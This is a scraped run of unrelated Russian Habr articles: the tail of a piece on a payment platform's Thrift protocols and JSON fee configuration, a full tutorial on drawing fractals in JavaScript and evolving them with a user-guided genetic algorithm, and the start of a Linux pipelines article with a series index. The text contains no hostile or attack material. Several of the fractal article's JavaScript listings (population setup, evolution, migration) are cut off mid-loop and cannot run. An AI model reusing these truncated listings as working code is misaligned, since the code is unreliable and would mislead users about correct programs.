Таким образом мы достаточно просто решили проблему реализации массового параллельного подключения различных платежных систем и прочих третьих сторон. В абсолютном большинстве случаев для этого не нужно трогать код платформы, достаточно просто написать адаптеры и добавить в enum-ы еще платежных инструментов.
В итоге у нас получилась такая схема работы — наружу у нас смотрят микросервисы RBKmoney API (мы называем их Common API, или capi\*, это их вы видели в консуле выше), которые валидируют входные данные согласно публичной Swagger-спецификации, авторизуют клиентов, транслируют эти методы в наши внутренние трифт-вызовы и отправляют запросы дальше по цепочке следующему микросервису. Кроме того, эти сервисы реализуют еще одно требование к платформе, ТЗ которого было сформулировано как: "в системе всегда должна быть реализована возможность получить котика."
Когда нам нужно сделать вызов какой-то внешней системы, внутренние микросервисы дергают трифт-методы соответствующего адаптера протоколов, те переводят их на язык специфичного банка или платежной системы и отправляют их наружу.
### Трудности обратной совместимости протоколов
Платформа постоянно развивается, добавляются новые функции, изменяются старые. В таких условиях нужно либо вкладываться в поддержку обратной совместимости, либо постоянно обновлять зависимые микросервисы. И если ситуация, когда required поле превращается в optional все просто, можно вообще ничего не делать, то в обратном случае приходится затратить дополнительные ресурсы.
С набором внутренних протоколов все проходит легче. Платежная отрасль редко изменяется настолько, чтобы появились какие-то принципиально новые методы взаимодействия. Возьмем, например, частую для нас задачу — подключение нового провайдера с новым платежным средством. Например, локальный кошелечный процессинг, который позволяет процессить платежи на территории Казахстана в тенге. Это новый для нашей платформы кошелек, но принципиально от того же Qiwi-кошелька он ничем не отличается — у него обязательно есть какой-то уникальный идентификатор и методы, позволяющие списать/отменить списание средств с него.
Соответственно, наша трифт-спецификация для всех кошелечных провайдеров выглядит так:
```
typedef string DigitalWalletID
struct DigitalWallet {
1: required DigitalWalletProvider provider
2: required DigitalWalletID id
}
enum DigitalWalletProvider {
qiwi
rbkmoney
}
```
а добавление нового платежного средства в виде нового кошелька просто дополняет enum:
```
enum DigitalWalletProvider {
qiwi
rbkmoney
newwallet
}
```
Теперь остается бампануть все использующие данную спецификацию микросервисы, синхронизировавшись с мастером репозитория со спецификацией и выкатить их через CI/CD.
С внешними протоколами сложнее. Каждое обновление Swagger-спецификации, особенно без обратной совместимости практически нереально применить в разумные сроки — маловероятно, что наши партнеры держат свободные ресурсы разработчиков специально под обновления нашей платформы.
*А иногда это просто невозможно, мы периодически сталкиваемся с ситуациями вида: "нам программист написал магазин и ушел, исходники забрал с собой, как это работает мы не знаем, работает и не трогаем".*
Поэтому мы вкладываемся в поддержку обратной совместимости на внешних протоколах. В нашей архитектуре это сделать немного легче — поскольку мы используем отдельные адаптеры протоколов для каждой конкретной версии Common API, мы просто оставляем старые микросервисы capi работать, по необходимости меняя только ту часть, которая смотрит трифтом внутрь платформы. Так появляются и навсегда остаются с нами микросервисы `capi-v1`, `capi-v2`, `capi-v3` и так далее.
Что будет когда появится `capi-v33` посмотрим, придется deprecate-ить какие-то старые версии, наверное.
*В этом месте я обычно начинаю очень хорошо понимать такие компании как Майкрософт и всю их боль по поддержке обратной совместимости решений, работающих десятилетиями.*
Настраиваем систему
-------------------
И, заканчивая тему, расскажем, как у нас устроено управление бизнес-специфичными настройками платформы.
Просто провести платеж — не так просто, как может показаться. К каждому платежу бизнес-заказчик хочет прицепить огромное количество условий — от комиссии до в принципе возможности успешного проведения в зависимости от времени суток. Мы ставили перед собой задачу оцифровать весь набор условий, который может придумать бизнес-заказчик сейчас и в будущем и применять этот набор к каждому вновь запускаемому платежу.
В итоге остановились на разработке своего DSL, к которому прикрутили инструменты для удобного управления, позволяющие нужным нам образом описывать бизнес-модель: выбор адаптеров протоколов, описание плана проводок, согласно которому деньги будут раскиданы по счетам внутри системы, настройка лимитов, комиссий, категорий и прочих, специфичных для платежной системы вещей.
Например, когда мы хотим взять комиссию 1% за эквайринг по картам маэстро и МС и раскидать ее по счетам внутри системы, мы конфигурируем домен так:
```
{
"cash_flow": {
"decisions": [
{
"if_": {
"any_of": [
{
"condition": {
"payment_tool": {
"bank_card": {
"definition": {
"payment_system_is": "maestro"
}
}
}
}
},
{
"condition": {
"payment_tool": {
"bank_card": {
"definition": {
"payment_system_is": "mastercard"
}
}
}
}
}
]
},
"then_": {
"value": [
{
"source": {
"system": "settlement"
},
"destination": {
"provider": "settlement"
},
"volume": {
"share": {
"parts": {
"p": 1,
"q": 100
},
"of": "operation_amount"
}
},
"details": "1% processing fee"
}
]
}
}
]
}
}
```
Упрощено говоря, у нас в одном месте собраны все настройки платформы, или конфигурация домена. Они хранятся в бинарном формате, но для удобства визуализации у нас есть инструменты представления его в виде JSON. Конфигурацией управляет отдельный микросервис, который решает задачи валидации, хранения и отдачи данных, управяет ревизиями. При каждом изменении конфигурации сохраняется полный набор данных, не дифф, и генерируется следующий номер ревизии. В принципе, классический CVS/SVN-подход.
Ревизии решают задачу "поменяли настройки комиссий и теперь никто не понимает почему прибыль в прошлом пересчиталась под новые условия". Например, платеж, запущенный с одной конфигурацией системы, например с комиссией в 1%, ссылается на ревизию, привязанную к тому моменту, когда платеж был запущен. А при изменении конфигурации, все следующие платежи ссылаются уже следующий номер ревизии, содержащей новые условия. В любой момент времени мы можем посмотреть и сказать, по каким условиям работала платформа при проведении конкретного платежа.
*Использование cvs-like при реализации подобных сервисов подхода чревато непредвиденными проблемами, одна из которых с нами и приключилась. Нюанс работы сервиса, который заведует конфигурацией — он stateless, соответственно, для того чтобы предоставить последнюю версию конфигурации ему нужно последовательно вычитать и применить все коммиты. Все работало нормально пока количество изменений конфигурации было небольшим. Около полутысячи коммитов вычитывались с нуля и переваривались нормально.*
*В один прекрасный день где-то шестисотый коммит оказался последней соломинкой. Сервис просто перестал влезать в таймаут вычитки всех коммитов из персистентного хранилища, и мы остались без конфигурации домена, соответственно без платежей. День резко перестал быть прекрасным, особенно неприятно было то, что никаких выкаток в то время не проводилось и на первый взгляд платформа просто безо всяких причин перестала работать.*
*Тогда найти и быстро пофиксить увеличением таймаутов и памяти контейнеру проблему заняло примерно час. После этого вдумчиво запиливали снепшотинг, теперь каждые 10 коммитов сохраняется снепшот, а также библиотеку кеширующего клиента, которая периодически поллит сервис и сохраняет у себя конфигурацию в кэш.*
Поскольку микросервис управления конфигурацией домена, также, как и все остальные, доступен по трифт-интерфейсу, им можно управлять с помощью нашего woorl-а. Но сотрудники поддержки почему-то были не слишком впечатлены перспективой постоянной правки JSON-ов в консоли. Поэтому мы разработали веб-интерфейс на JS, который также обращается к микросервисам по трифту, но имеет несравненно более приятный UX:
Таким образом мы решили для себя задачу удобного управления конфигурацией системы, у нас есть микросервис, предоставляющий возможность коммита и чекаута изменений нужной версии конфигурации, а каждый платеж ссылается на специфичный для него набор условий.
На этом про околопротокольную тему, пожалуй, все.
В следующей статье планирую описать логическую схему макросервиса, взаимосвязи между микросервисами и то, как эта система управляется с помощью SaltStack.
Спасибо, что были с нами!
|
https://habr.com/ru/post/443518/
| null |
ru
| null |
# Эволюция фрактальных монстров
Сегодня будем рисовать геометрические фракталы, которым уделяют незаслуженно мало внимания. А между тем, тут каждый фрактал — маленький шедевр, поражающий воображение!
Дальше много картинок и gif-анимация. Но прежде, чем переходить под кат, посмотрите на картинку выше и скажите, что на ней нарисовано?
### Алгоритм
Рассмотрим один любопытный алгоритм на примере известного фрактала — кривой Леви.
Есть у нас две точки A1 и A2. Найдем такую точку A3, для которой угол A1 = 45°, а угол A3 = 90°.
Проделаем ту же операцию для точек A1, A3 и A3, A2.
И дальше рекурсивно для каждой пары точек.
Третья итерация:
На 14 итерации эта кривая выглядит вот так:
Более наглядно на JavaScript:
**Исходник на JS**
```
window.onload=function(){
var canvas=document.getElementById('myCanvas');
var context=canvas.getContext('2d');
canvas.width=800, canvas.height=800;
context.beginPath();
recurs(context, 17, 400, 250, 400, 550); //рекурсивная функция, рисующая фрактальную кривую
context.stroke();
};
var angle=45\*Math.PI/180; //переводим углы в радианы
function recurs(context, n, x0, y0, x1, y1){ //n итераций, Точки A1(x0,y0) и A2(x1,y1)
if (n==0){
context.moveTo(x0,y0);
context.lineTo(x1,y1);
}else{
var xx=Math.cos(angle)\*((x1-x0)\*Math.cos(angle)-(y1-y0)\*Math.sin(angle))+x0;
var yy=Math.cos(angle)\*((x1-x0)\*Math.sin(angle)+(y1-y0)\*Math.cos(angle))+y0; //находим точку A3
recurs(context, n-1, x0, y0, xx, yy); //A1, A3
recurs(context, n-1, xx, yy, x1, y1); //A3, A2
}
}
```
→ [Запустить в браузере](http://fractal.xcont.com/levy.html)
Немного модифицировав приведенный выше код, можем нарисовать другую известную фрактальную кривую — Дракон Хартера-Хейтуэя. Для этого, начиная со второй итерации, будем чередовать углы 45° и -45°
Третья итерация:
На 14 итерации эта кривая выглядит вот так:
**Модифицированный фрагмент исходника**
```
}else{
angle2=angle*k; // <-
var xx=Math.cos(angle2)*((x1-x0)*Math.cos(angle2)-(y1-y0)*Math.sin(angle2))+x0;
var yy=Math.cos(angle2)*((x1-x0)*Math.sin(angle2)+(y1-y0)*Math.cos(angle2))+y0;
recurs(context, n-1, x0, y0, xx, yy, 1); //последний аргумент функции - k
recurs(context, n-1, xx, yy, x1, y1, -1);
}
```
→ [Запустить в браузере](http://fractal.xcont.com/dragon.html)
Мы самую малость изменили нашу функцию, добавив в нее еще один угол, а фрактал изменился до неузнаваемости! В динамике (изменяем второй угол с шагом в 5°):
И вот тут наш пытливый ум начинает задавать вопросы. А что, если попробовать использовать другие значения углов, вместо **[45,-45]**? Скажем, **[30,-60]**. Или **[30,-30,-60,60]**. Перепишем нашу функцию, чтобы она принимала массив с углами, в качестве одного из аргументов.
**Окончательный вариант функции**
```
function recurs(context, arr, position, n, x0, y0, x1, y1){
if (n==0){
context.fillRect(x1,y1, 1,1);
return position;
}else{
if (!position[n]) position[n]=0;
var xx=Math.cos(arr[position[n]])*((x1-x0)*Math.cos(arr[position[n]])-(y1-y0)*Math.sin(arr[position[n]]))+x0;
var yy=Math.cos(arr[position[n]])*((x1-x0)*Math.sin(arr[position[n]])+(y1-y0)*Math.cos(arr[position[n]]))+y0;
position[n]++;
if (position[n]==arr.length) position[n]=0;
position=recurs(context, arr, position, n-1, x0, y0, xx, yy);
position=recurs(context, arr, position, n-1, xx, yy, x1, y1);
return position;
}
}
```
Массив position хранит номер угла из массива arr для текущей глубины рекурсии (n).
[Запустить в браузере](http://fractal.xcont.com/angles.html) (Через запятую пишем значения углов в градусах, жмем «draw!»)
С этого момента будем рисовать только точки, не соединяя их линиями… чисто из эстетических соображений. Фрактал **[30,-30,-60,60]** нарисованный линиями и точками:
Особое внимание следует обратить на то, что все точки A3 лежат на окружности с диаметром A1A2:
Если точки находятся внутри (или снаружи) окружности — фрактал получается слишком сжатым (или наоборот — выходит за пределы области отрисовки). Наглядно:
Вот этим косинусом мы выравниваем точки по окружности:
```
var xx=Math.cos(arr[position[n]])* ...
var yy=Math.cos(arr[position[n]])* ...
```
Не трудно заметить, что используя угол 120° мы получим ту же точку, что и с углом -60°. Поэтому все углы лежат в диапазоне (-90°,90°).
Попробуем ввести в наш скрипт разные комбинации углов.
### «Маленькие шедевры»
Несколько рандомных фракталов с углами -45°/45° (кликабельно):
[](https://habrastorage.org/web/2ec/f7d/8fb/2ecf7d8fbf7e4dee984940215d887dc5.png)[](https://habrastorage.org/web/b14/9b8/087/b149b808701e40b2acf600f539b89b91.png)[](https://habrastorage.org/web/c95/d95/9ff/c95d959ff47d4047a5b9950de0da0ffe.png)[](https://habrastorage.org/web/578/a2e/7fa/578a2e7fa59f42f683040f56d46d6fc1.png)[](https://habrastorage.org/web/600/79a/bf5/60079abf5faf4f228fae0eb470817cf3.png)[](https://habrastorage.org/web/b8d/36a/e4a/b8d36ae4aae04172a6f07ceef46d412d.png)[](https://habrastorage.org/web/699/96c/835/69996c835a1a43f597e24799bb6814cd.png)[](https://habrastorage.org/web/8f2/f46/801/8f2f46801fcc4c17a32b4f378bef00d5.png)[](https://habrastorage.org/web/2e4/ec6/0ed/2e4ec60ed0a14ed0b82ee2a1f54eb81e.png)[](https://habrastorage.org/web/5cc/904/999/5cc9049999c945b8973929a5433c35c2.png)[](https://habrastorage.org/web/90a/d79/d99/90ad79d9907448e0b716eb09cafcf1a8.png)[](https://habrastorage.org/web/edb/37f/651/edb37f651d2947c88a89f6423513c1d7.png)[](https://habrastorage.org/web/5ef/ab4/901/5efab4901cdb4ac6bc7bed37b559fbee.png)
С углами -30°/30°/-60°/60°:
[](https://habrastorage.org/web/91a/ff9/d81/91aff9d815c546a1b19b5ebffd2e3521.png)[](https://habrastorage.org/web/561/516/0e6/5615160e64834d34be4e82f6f90c0efd.png)[](https://habrastorage.org/web/bae/bb2/fde/baebb2fdeffe4b728e05ff5b2b3c87dd.png)[](https://habrastorage.org/web/bf6/fe1/6dc/bf6fe16dc1634e76b38ba581c831fbab.png)[](https://habrastorage.org/web/dab/8fe/174/dab8fe1741214e2081079f1f24bf04d3.png)[](https://habrastorage.org/web/bda/476/3b3/bda4763b3443452f8424283a68870663.png)[](https://habrastorage.org/web/951/a36/837/951a368374114c5396b74cec91c925c0.png)[](https://habrastorage.org/web/8a2/4d3/312/8a24d3312ceb4c8983edeee5d98a9785.png)[](https://habrastorage.org/web/81f/cb5/dcd/81fcb5dcd83449c3a137cfc2bc944cbc.png)[](https://habrastorage.org/web/292/de6/7c4/292de67c47d249b0853c622c2e2352d9.png)[](https://habrastorage.org/web/1d3/187/59a/1d318759a45f423e93bfe022468fb658.png)[](https://habrastorage.org/web/ecb/369/703/ecb3697031094f7fab8034a2e77821be.png)[](https://habrastorage.org/web/55b/105/d7a/55b105d7af6a47b3ab23752256dda514.png)[](https://habrastorage.org/web/a38/660/5b7/a386605b70624d1eb07b56ec883979f9.png)[](https://habrastorage.org/web/eab/e3d/5fe/eabe3d5fe90b48968e2908b60502ddfe.png)[](https://habrastorage.org/web/b54/006/6f3/b540066f35424d0e9d0789528ca2e182.png)[](https://habrastorage.org/web/af4/dc0/2e1/af4dc02e130f4516a4d0d53352b97ade.png)[](https://habrastorage.org/web/000/cd6/e1c/000cd6e1cfbb4f9c8434688c01e28023.png)[](https://habrastorage.org/web/df4/7e1/185/df47e1185b4a4503bd617a64bc43cfa4.png)[](https://habrastorage.org/web/e04/51f/14f/e0451f14f7de4fcc8d2f7936d9f61dbd.png)[](https://habrastorage.org/web/4de/20c/d8f/4de20cd8fc57446784239be7fd0892c1.png)[](https://habrastorage.org/web/cba/2f1/555/cba2f155505e4a6ba3f06df4290be53e.png)[](https://habrastorage.org/web/895/049/c62/895049c624f04794a3e95e0ba7660923.png)[](https://habrastorage.org/web/9a7/abd/4fc/9a7abd4fcd5141fb8ee121df10898a58.png)[](https://habrastorage.org/web/7c9/97c/5b9/7c997c5b92fe419b906e15e640b6ead9.png)[](https://habrastorage.org/web/a08/fb4/471/a08fb4471f9d4a8089f61988673bd3f0.png)[](https://habrastorage.org/web/d61/0b1/c4d/d610b1c4d18046ef8bd890a2bb8002f8.png)[](https://habrastorage.org/web/bc3/d83/35b/bc3d8335b33048ca861bf7992cc374ba.png)
С углами -15°/15°/-30°/30°/-45°/45°/-60°/60°/-75/75°:
[](https://habrastorage.org/web/bcd/ed6/ee9/bcded6ee912a4db987bd1c11485188dc.png)[](https://habrastorage.org/web/72c/6c6/f1c/72c6c6f1c80446d4ab9c8f797508a623.png)[](https://habrastorage.org/web/69b/ab3/71a/69bab371aeb6475bb7874a7b771e3f84.png)[](https://habrastorage.org/web/578/10e/3a1/57810e3a14ea4117a580292f82468a81.png)[](https://habrastorage.org/web/50e/0fe/b83/50e0feb83b2b44d3a4cddb92a4dfb55f.png)[](https://habrastorage.org/web/94f/275/d11/94f275d113394f779cc3b1dd2ab71150.png)[](https://habrastorage.org/web/e2c/c9d/35b/e2cc9d35bf9e46ce9553474daf9c8b9e.png)[](https://habrastorage.org/web/0cc/868/ead/0cc868ead99e488eb2c834ca80d252b5.png)[](https://habrastorage.org/web/226/c76/4aa/226c764aa82e4a7e9d456ed47364b009.png)[](https://habrastorage.org/web/7c4/835/8e4/7c48358e4bf149c29cc6637beb81c2e0.png)[](https://habrastorage.org/web/3c8/20b/b48/3c820bb487c544f5a4e232310d09a6ad.png)[](https://habrastorage.org/web/b4a/91c/6f8/b4a91c6f84994fc29917e4d1d287819e.png)[](https://habrastorage.org/web/9aa/542/40b/9aa54240ba7e4cd380dbd4114ec0fb82.png)[](https://habrastorage.org/web/dab/d11/088/dabd110885594691bc582b6e23a189cc.png)[](https://habrastorage.org/web/390/834/c33/390834c33e80480fba06c9400ab39141.png)[](https://habrastorage.org/web/d42/352/3d3/d423523d3ac1417eb878cb57e8bf61ee.png)[](https://habrastorage.org/web/ffb/9d6/e84/ffb9d6e84c304d908aed9c0f0362199e.png)[](https://habrastorage.org/web/ed7/858/7cd/ed78587cda5a44719c91c6bc5b05b6c7.png)[](https://habrastorage.org/web/541/66f/fc6/54166ffc69e54ab7bec3262a00ba77dc.png)[](https://habrastorage.org/web/f4f/666/efd/f4f666efd9674637bb0ca9dee2b2146d.png)[](https://habrastorage.org/web/135/e84/276/135e84276315479da40f1ae49c2a28d0.png)[](https://habrastorage.org/web/e9d/e77/bf0/e9de77bf083a4e79a3e618a10d09f640.png)[](https://habrastorage.org/web/28e/dac/60e/28edac60ece648418aeee53a5079f590.png)[](https://habrastorage.org/web/c92/b97/eab/c92b97eabb1746d3b5c8d2eea72dd646.png)[](https://habrastorage.org/web/67d/0be/8ea/67d0be8ead0d45f3866bdd38bd28c82c.png)
… Так можно продолжать очень долго. Если использовать углы 15°/30°/45°/60°/75° (положительные и отрицательные) и, скажем, рисовать «восьмиугольные» фракталы — сколько всего фракталов мы сможем нарисовать? Примерно 10^8 = 100 000 000 штук. Кроме того, множество «восьмиугольных» фракталов не имеет пересечений с множеством, скажем, «девятиугольных» фракталов (за исключением фракталов, у которых все углы одинаковые). В общем, очень немало фракталов можно нарисовать этим алгоритмом.
Искать вручную что-то среди этого множества, при этом не зная, как это «что-то» должно выглядеть — немного затруднительно. Что мешает нам прикрутить сюда генетический алгоритм? Ничего. Прикрутим!
### Эволюция
Генетический алгоритм — эвристический алгоритм поиска, использующий механизмы биологической эволюции. Алгоритм прост, интуитивно понятен и вместе с тем довольно эффективен.
Делится на несколько этапов.
* Создается начальная популяций, состоящая из небольшого числа особей. Каждая особь представляет из себя массив фиксированной длины с набором генов (генотип). Генотипы начальной популяции заполняются случайным образом. Применительно к нашей задаче, гены — это углы, с помощью которых будем рисовать фракталы.
* На следующем этапе происходит селекция. Для каждой особи считаем коэффициент приспособленности (*fitness*). Чем лучше особь — тем выше коэффициент. Сортируем популяцию по этому коэффициенту. Делим популяцию пополам — из наиболее приспособленных будем формировать следующую популяцию. (Как делить и что выбирать для следующей популяции — тема, на которую можно долго спорить).
* Следующий этап — скрещивание. Из наиболее приспособленных выбираем (случайным образом) две особи — родителей. Делаем двух потомков: берем случайным образом часть генов одного родителя и часть генов другого, заполняем ими генотип одного из потомков. Оставшиеся гены уходят второму потомку. Берем следующих двух родителей. Проделываем ту же операцию. Так пока не закончатся родители. Из родителей и потомков формируем новую популяцию.
* Заключительный этап — мутации. Берем некоторый процент особей из новой популяции, для каждой из них (особей) выбираем случайным образом ген и заменяем его на случайное значение. Таким образом мы добавляем в наш генофонд гены, которых не было в начальной популяции и которые, в перспективе, могут сформировать наилучшие результаты. Кроме того, повышая процент мутаций, можно в какой-то степени решить проблему сходимости к локальному оптимуму.
Каждый этап более наглядно на JavaScript.
**Начальная популяция**
**Генерируем углы**
```
function randomangl(min, max, step){
if(step==0) step=1;
var rand=Math.floor(Math.random() * (max/step - min/step + 1)) + min/step;
if(rand==0) rand=1;
rand*=step;
if(rand>max) rand=max;
return Math.round(rand);
}
```
Функция *randomangl* вызывается с тремя аргументами: минимальный угол, максимальный угол и шаг. Удобно, если мы хотим заполнить начальную популяцию определенными углами. Например, можно вызвать функцию с следующими аргументами:
*randomangl(-45, 45, 90)* — сгенерирует углы -45°/45°
*randomangl(-60, 60, 30)* — сгенерирует углы -60°/-30°/30°/60°
*randomangl(-75, 75, 15)* — сгенерирует углы -75°/-60°/-45°/-30°/-15°/15°/30°/45°/60°/75°
Углы 0° не используем. Фрактал **[45°,0°]** выглядел бы вот так:
Получаем тот же фрактал **[45°]**, только в том месте, где пытаемся нарисовать 0° — точки сливаются (вся дальнейшая рекурсия в этом месте становится бессмысленной). По этой же причине, нет смысла генерировать фракталы с использованием 90°. Для начальной популяции лучше всего вызвать функцию *randomangl(-75, 75, 15)*. Для мутаций — *randomangl(-89, 89, 1)*.
**Создаем начальную популяцию**
```
population=[];
fitness=[];
for(var n=anglemin; n<=anglemax; n++){
population[n]=[];
fitness[n]=[];
for(var i=0; i
```
Создаем сразу несколько популяций с разным количеством углов (*anglemin*, *anglemax*). Инициализируем отдельный массив с коэффициентам приспособленности. Первый ген у каждой особи принудительно делаем положительным — фракталы **[45°,-45°]** и **[-45°,45°]** симметричны.
**Селекция**
Вообще, приспособленность каждой особи, в классических генетических алгоритмах, определяется специальной fitness-функцией. Функция оценивает, насколько каждая из особей решает поставленную задачу. В нашем случае, четко сформулировать задачу не представляется возможным (не знаем, как это «что-то» должно выглядеть), поэтому в качестве fitness-функции прикрутим к алгоритму пользователя.
Есть два варианта. Можно было бы нарисовать все фракталы из популяций и предложить пользователю отобрать самые лучшие, но могут возникнуть некоторые трудности — как выбрать лучшие фракталы, когда они все выглядят впечатляюще? Намного проще сравнивать два случайных фрактала.
Интерфейс:
На страничке два канваса: myCanvas1 и myCanvas2. И две кнопочки: onclick=«selecter(1);» и onclick=«selecter(2);»
Вызываем функцию, которая рисует два случайных фрактала:
**Рисуем два случайных фрактала**
```
function get2fractals(){
PopulationNumber=Math.floor(Math.random() * (anglemax - anglemin + 1))+anglemin;
drawcanvas(1);
drawcanvas(2);
}
function drawcanvas(n){
var canvas=document.getElementById('myCanvas'+n);
var context=canvas.getContext('2d');
canvas.width=canvasSize, canvas.height=canvasSize;
context.fillStyle = 'rgb(255,255,255)';
context.fillRect (0, 0, canvas.width, canvas.height);
var position=[];
if(n==1){
FractalNumber[1]=Math.floor(Math.random() * (PopulationSize));
}else{
do{
var rnd = Math.floor(Math.random() * (PopulationSize));
}while(rnd==FractalNumber[1])
FractalNumber[2]=rnd;
}
var array1fractal=population[PopulationNumber][FractalNumber[n]];
context.fillStyle = 'rgb(0,0,0)';
draw(context, array1fractal, position, iteration, xA, yA, xB, yB);
}
```
В функции *get2fractals* выбираем случайную популяцию.
В функции *drawcanvas* проверяем *if(n==1)* — чтобы не рисовать два одинаковых фрактала. Номер популяции и номера двух фракталов храним в глобальных переменных (*PopulationNumber* и *FractalNumber[]*).
Когда пользователь жмет на кнопку *Select* рядом с понравившимся ему фракталом, вызываем такую функцию:
**Select**
```
function selecter(n){
fitness[PopulationNumber][FractalNumber[n]]++;
get2fractals();
}
```
Которая повышает коэффициент приспособленности для выбранного фрактала и рисует два новых фрактала.
Будем считать, что пользователь оказался добросовестным и произвел выборов не меньше, чем количество особей в популяции, прежде чем запустить механизм эволюции.
**Скрещивание и мутации**
**Скрещивания и мутации**
```
function sortf(a, b) {
if (a[1] < b[1]) return 1;
else if (a[1] > b[1]) return -1;
else return 0;
}
function evolution(){
var mutation=document.getElementById("mutatepercent").value;
var exchange=document.getElementById("exchangepercent").checked;
var sizehalf=PopulationSize/2;
var sizequarter=sizehalf/2;
for(var n=anglemin; n<=anglemax; n++){
var arrayt=[];
for(var i=0; i0){
var m=100/mutation;
for(var i=0; i
```
Берем поочередно каждую популяцию. Пишем всех особей во временный массив, туда же пишем их коэффициенты приспособленности *fitness*. Сортируем временный массив по этим коэффициентам. Отрезаем половинку (самых приспособленных). Старые два массива обнуляем, чтобы там ничего лишнего не осталось. Дергаем из временного массива двух предков, формируем двух потомков. Заполняем популяцию предками и потомками.
Производим мутации. Небольшое замечание. Вместо процента мутаций во всей популяции, используем вероятность мутации отдельно взятой особи.
Доступна опция *exchange*. С помощью этой опции реализована модель миграции особей между популяциями.
**Модель миграции**
```
if(exchange){
var n=anglemin;
while(n
```
Если флажок *Exchanges* установлен, поочередно для каждой популяции, одна случайная особь с вероятность 50% может обменяться генами со случайной особью из следующей популяции (популяция n+1). Генов в генотипах следующей популяции больше, обмен производим следующим образом. Выбираем случайный ген у особи в популяции n+1, вставляем его на ту же позицию в генотип у особи из популяции n. Меняем особи местами:
Осталось добавить свистелок (css-кнопочки, сохранение всего процесса в localStorage, отображение Parents Tree...).
**Исходники можно посмотреть на [GitHub](https://github.com/xcont/fractals)
Или запустить в браузере, перейдя на [сайт проекта](http://fractal.xcont.com/) (осторожно, можно залипнуть!)**
Результат моих селекций — на картинке в начале публикации.
Ну и в заключение добавлю, что 2D — хорошо, а 3D — еще лучше!
Покрутить мышкой фрактал в трех измерениях можно [здесь](http://fractal.xcont.com/geom3d/). Через слеш вбиваем пары углов /alpha/beta/alpa/beta/… в адресную строку.
Alpha — уже привычный нам угол поворота. Новый угол Beta — поворот точки A3 вокруг оси A1A2.
**баг в 3D алгоритме**В 3D алгоритме есть забавный баг (фича), который не стал исправлять. Чтобы нарисовать Дракон Хартера-Хейтуэя, надо использовать 4 пары углов: **45/180/45/0/45/0/45/180**.
3D алгоритмом можно нарисовать двумерные фракталы, которые не получится нарисовать 2D алгоритмом. Например:
**45/0/45/180/45/180/45/180/45/0**
**45/180/45/180/45/0/45/180/45/180/**
Небольшая галерея двумерных фракталов нарисованных этим алгоритмом.
[](https://habrastorage.org/web/dc8/bc7/a6e/dc8bc7a6eaab407ba67822cf30bf2f0b.png)
|
https://habr.com/ru/post/328568/
| null |
ru
| null |
# Кунг-фу стиля Linux: простые конвейеры
В былые времена компьютеры делали по одному делу за раз. В буквальном смысле. В компьютер загружали перфокарты, или перфоленту, или что-нибудь другое, и нажимали на кнопку. Компьютер читал программу, выполнял её и выдавал результаты. Потом он «засыпал», пребывая в таком состоянии до тех пор, пока ему не дадут новых входных данных.
[](https://habr.com/ru/company/ruvds/blog/656567/)
Проблема тут в том, что компьютеры, особенно — тогда, были дорогим удовольствием. И, в случае с обработкой типичной программы, компьютеры тратят много времени, ожидая чего-то вроде помещения в них следующей перфокарты, или момента, когда магнитная лента дойдёт до нужного места. В таких случаях компьютер, фигурально выражаясь, в нетерпении стучит ногами, ожидая следующего события.
**Все переводы серии**
[Кунг-фу стиля Linux: удобная работа с файлами по SSH](https://habr.com/ru/company/ruvds/blog/520752/)
[Кунг-фу стиля Linux: мониторинг дисковой подсистемы](https://habr.com/ru/company/ruvds/blog/527238/)
[Кунг-фу стиля Linux: глобальный поиск и замена строк с помощью ripgrep](https://habr.com/ru/company/ruvds/blog/527242/)
[Кунг-фу стиля Linux: упрощение работы с awk](https://habr.com/ru/company/ruvds/blog/527244/)
[Кунг-фу стиля Linux: наблюдение за файловой системой](https://habr.com/ru/company/ruvds/blog/528422/)
[Кунг-фу стиля Linux: наблюдение за файлами](https://habr.com/ru/company/ruvds/blog/528430/)
[Кунг-фу стиля Linux: удобный доступ к справке при работе с bash](https://habr.com/ru/company/ruvds/blog/528432/)
[Кунг-фу стиля Linux: великая сила make](https://habr.com/ru/company/ruvds/blog/528434/)
[Кунг-фу стиля Linux: устранение неполадок в работе incron](https://habr.com/ru/company/ruvds/blog/529828/)
[Кунг-фу стиля Linux: расшаривание терминала в браузере](https://habr.com/ru/company/ruvds/blog/529836/)
[Кунг-фу стиля Linux: синхронизация настроек](https://habr.com/ru/company/ruvds/blog/531088/)
[Кунг-фу стиля Linux: бесплатный VPN по SSH](https://habr.com/ru/company/ruvds/blog/530944/)
[Кунг-фу стиля Linux: превращение веб-приложений в полноценные программы](https://habr.com/ru/company/ruvds/blog/529838/)
[Кунг-фу стиля Linux: утилита marker и меню для командной строки](https://habr.com/ru/company/ruvds/blog/529840/)
[Кунг-фу стиля Linux: sudo и поворот двух ключей](https://habr.com/ru/company/ruvds/blog/532334/)
[Кунг-фу стиля Linux: программное управление окнами](https://habr.com/ru/company/ruvds/blog/532342/)
[Кунг-фу стиля Linux: организация работы программ после выхода из системы](https://habr.com/ru/company/ruvds/blog/533336/)
[Кунг-фу стиля Linux: регулярные выражения](https://habr.com/ru/company/ruvds/blog/533334/)
[Кунг-фу стиля Linux: запуск команд](https://habr.com/ru/company/ruvds/blog/536958/)
[Кунг-фу стиля Linux: разбираемся с последовательными портами](https://habr.com/ru/company/ruvds/blog/544512/)
[Кунг-фу стиля Linux: базы данных — это файловые системы нового уровня](https://habr.com/ru/company/ruvds/blog/568302/)
[Кунг-фу стиля Linux: о повторении кое-каких событий сетевой истории](https://habr.com/ru/company/ruvds/blog/568308/)
[Кунг-фу стиля Linux: PDF для пингвинов](https://habr.com/ru/company/ruvds/blog/573876/)
[Кунг-фу стиля Linux: делаем все и сразу](https://habr.com/ru/company/ruvds/blog/567158/)
[Кунг-фу стиля Linux: файловые системы пользовательского пространства теперь доступны и в Windows](https://habr.com/ru/company/ruvds/blog/578292/)
[Кунг-фу стиля Linux: делиться — это плохо](https://habr.com/ru/company/ruvds/blog/599109/)
[Кунг-фу стиля Linux: автоматическое генерирование заголовочных файлов](https://habr.com/ru/company/ruvds/blog/599431/)
